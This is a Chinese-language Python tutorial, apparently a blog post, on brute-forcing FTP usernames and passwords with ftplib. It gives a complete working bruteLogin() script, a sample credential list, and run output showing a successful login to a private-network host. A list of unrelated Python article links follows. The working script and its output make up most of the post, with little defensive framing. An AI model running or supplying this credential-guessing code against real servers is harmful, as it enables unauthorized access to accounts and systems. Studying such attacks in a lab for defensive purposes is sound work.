Python编程--使用Ftplib破解FTP用户口令的方法

简介: Python编程--使用Ftplib暴力破解FTP用户口令

Python编程–使用Ftplib破解FTP用户口令
暴力破解FTP用户名/密码,假设用户名/密码对是存储在一个纯文本文件中。如下所示:

administrator:password
admin:12345
root:secret
guest:guest
root:toor
xiaowei:xiaowei
kali_lxw:kali

创建一个名为bruteLogin()的函数,这个函数接收的参数是主机名和含有密码的文件,返回一个能登录该主机的用户名/密码。该函数逐行读取文件中的每一行记录,用户名和密码之间是以冒号分隔的。然后函数尝试用这个用户名和密码登录FTP服务器。如果成功,则返回一个用户名和密码的tuple。如果失败,跳过该异常继续到下一行。如果函数穷尽所有行仍未成功登录,则返回一个值为None 、None的tuple。

示例代码如下:

import ftplib

def bruteLogin(hostname, passwdFile):
    with open(passwdFile, 'r') as pF:
        for line in pF.readlines():
            userName = line.split(':')[0]
            passWord = line.split(':')[1].strip('\r').strip('\n')
            print(f'[+] Trying {userName}/{passWord}')
            try:
                ftp = ftplib.FTP(hostname)
                ftp.login(userName, passWord)
                print(f'\n[*] {str(hostname)} FTP Logon Succeeded: {userName}/{passWord}')
                ftp.quit()
                return (userName, passWord)
            except Exception as e:
                pass

        print('\n[-] Could not brute force FTP credentials')
        return (None, None)
host = '192.168.31.82'
passwdFile = 'userpass.txt'
bruteLogin(host, passwdFile)

通过遍历用户名/密码对的列表后, 最终找到了一个有效的用户名/密码对:xiaowei/xiaowei。运行结果如下所示:

[+] Trying administrator/password
[+] Trying admin/12345
[+] Trying root/secret
[+] Trying guest/guest
[+] Trying root/toor
[+] Trying xiaowei/xiaowei

[*] 192.168.31.82 FTP Logon Succeeded: xiaowei/xiaowei

Process finished with exit code 0
相关文章
|
20小时前
|
Python
Python中的push方法详解与实例
Python中的push方法详解与实例
|
21小时前
|
开发者 Python
Python 语法糖:让编程更简单
Python 语法糖:让编程更简单
12 3
|
21小时前
|
开发者 Python
Python 语法糖:让编程更简单(续)
Python 语法糖:让编程更简单(续)
|
1天前
|
人工智能 数据挖掘 程序员
Python 编程入门:打造你的第一个程序
【10月更文挑战第3天】编程,这个看似高深莫测的技能,实际上就像学骑自行车一样,一旦掌握,便能开启全新的世界。本文将带领初学者步入Python编程的殿堂,从基础语法到编写实用程序,一步步解锁编程的乐趣。
|
1天前
|
小程序 Python
利用Python编程提取身份证的信息
利用Python编程提取身份证的信息
10 2
|
1天前
|
数据采集 前端开发 NoSQL
Python编程异步爬虫实战案例
Python编程异步爬虫实战案例
|
21小时前
|
Python
Python 语法糖:让编程更简单(续二)
Python 语法糖:让编程更简单(续二)
|
1天前
|
存储 开发者 Python
Python 编程入门:从基础到实战
【10月更文挑战第3天】本文将引导你进入 Python 编程的奇妙世界,从零基础开始,逐步深入到编程实践。我们将一起探索 Python 的基本语法、数据结构、函数和模块的使用,以及面向对象编程的概念。通过实际案例,你将学会如何应用这些知识解决实际问题,并最终能够独立编写简单的 Python 程序。无论你是编程新手还是希望扩展技能的开发者,这篇文章都将为你提供一个坚实的起点。
6 1
|
1天前
|
存储 Python
python列表操作和方法
python列表操作和方法
6 1
|
1天前
|
Python
在Python中实现斐波那契数列(Fibonacci sequence)的4中方法
在Python中实现斐波那契数列(Fibonacci sequence)的4中方法
6 0